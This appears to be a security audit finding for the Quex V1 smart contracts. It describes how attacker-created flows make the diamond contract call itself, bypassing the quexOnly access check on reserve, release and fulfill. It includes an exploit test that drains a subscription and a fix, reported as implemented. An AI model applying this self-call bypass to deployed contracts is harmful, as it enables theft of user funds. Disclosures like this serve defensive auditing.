Quex V1 - Quex

The DepositManagerFacet allows any external account to bypass the quexOnly modifier and execute restricted functions on any subscription without authorization as this check can be circumvented because the protocol allows unrestricted creation of "flows" that can make the diamond contract call itself.

modifier quexOnly() {
    if (msg.sender != address(this)) {
        revert IQuexActionRegistry.OnlyCallableInternally();
    }
    _;
}

Attack Scenario:

1. Malicious Flow Creation: An attacker calls FlowFacet.createFlow() with:

   • flow.consumer = address(diamond) (makes diamond call itself)

   • flow.callback = DepositManagerFacet.reserve.selector (targets restricted function)

2. Self-Call Trigger: The attacker calls QuexActionFacet.pushData() which executes:

   • bytes memory payload = abi.encodeWithSelector(flow.callback, flowId, message.dataItem, IdType.FlowId);

   • (bool success,) = flow.consumer.call{gas: flow.gasLimit}(payload);

3. Access Control Bypass: Since flow.consumer equals the diamond address, the diamond makes an external call to itself. Inside the restricted function, msg.sender == address(diamond), satisfying the quexOnly check.

All functions protected by quexOnly can be called without authorization:

• reserve(uint256 subscriptionId, uint256 amount) - Lock subscription funds

• release(uint256 subscriptionId, uint256 amount) - Unlock reserved funds

• fulfill(uint256 subscriptionId, uint256 reservedFee, uint256 actualFee) - Manipulate balances

The following test function demonstrates the access control vulnerability:

   function test_Exploit_DrainSubscription() public {
        uint256 initialBalance = IDepositManager(address(diamond)).balance(subscriptionId);
        assertEq(initialBalance, 10 ether);

        DataItem memory fulfillData = DataItem({timestamp: block.timestamp, error: 10000 ether, value: bytes("")});
        OracleMessage memory fulfillMsg = OracleMessage({actionId: actionId, dataItem: fulfillData, relayer: attacker});
        ETHSignature memory fulfillSig = _signOracleMessage(fulfillMsg, TD_validInQuex_inOraclePool);

        vm.prank(attacker);
        testObject.pushData{value: quexFee}(fulfillMsg, fulfillSig, newFlowId, TD_validInQuex_inOraclePool.tdId);
    }

Output:

The following output shows that access control can be bypassed to call reserve by calling pushData with custom arguments and a malicious flow.

Prevent flows where flow.consumer == address(this) to block self-calls.

function createFlow(Flow memory flow) external returns (uint256 flowId) {
    require(flow.consumer != address(this), "Self-calls forbidden");
    // ... rest of function
}

SOLVED: The recommended mitigation has been implemented.